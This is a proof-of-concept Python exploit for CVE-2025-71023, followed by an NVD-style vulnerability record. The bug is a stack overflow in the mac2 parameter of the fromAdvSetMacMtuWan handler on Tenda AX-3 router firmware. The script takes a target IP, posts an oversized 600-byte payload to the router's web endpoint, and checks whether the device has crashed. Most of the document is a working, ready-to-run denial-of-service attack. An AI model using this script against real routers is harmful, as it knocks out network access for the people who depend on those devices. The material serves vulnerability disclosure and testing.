CVE-2025-71023

#!/usr/bin/env python3 """ CVE-2025-71023 PoC - Tenda AX-3 Stack Overflow in fromAdvSetMacMtuWan This PoC demonstrates the stack overflow vulnerability in the mac2 parameter of the fromAdvSetMacMtuWan function. """ import requests import sys def exploit_tenda_ax3(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in Tenda AX-3 Args: target_ip: IP address of the target Tenda AX-3 router target_port: HTTP port (default: 80) """ # Construct the malicious payload # The mac2 parameter is vulnerable to stack overflow # Sending a payload of 500+ bytes will overflow the buffer overflow_length = 600 malicious_payload = "A" * overflow_length # Construct the exploit URL url = f"http://{target_ip}:{target_port}/goform/fromAdvSetMacMtuWan" # Prepare the POST data with the malicious mac2 parameter data = { "mac2": malicious_payload, "mtu": "1500", "wanMac": "AA:BB:CC:DD:EE:FF" } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending exploit payload with {overflow_length} bytes...") try: # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status code: {response.status_code}") # Check if the target is still responsive check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) print(f"[-] Target is still responsive - DoS may have failed") except requests.exceptions.RequestException: print(f"[+] Target appears to be down - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[+] Exploit likely successful - connection error: {e}") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-71023-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ax3(target, port)

{"cve": {"id": "CVE-2025-71023", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:16:05.200", "lastModified": "2026-01-20T18:04:49.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-3 v16.03.12.10_CN was discovered to contain a stack overflow in the mac2 parameter of the fromAdvSetMacMtuWan function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Se descubrió que Tenda AX-3 v16.03.12.10_CN contenía un desbordamiento de pila en el parámetro mac2 de la función fromAdvSetMacMtuWan. Esta vulnerabilidad permite a los atacantes provocar una denegación de servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.10_cn:*:*:*:*:*:*:*", "matchCriteriaId": "32EB7A98-B727-434B-885D-3BB3F1FD18C2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/11/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}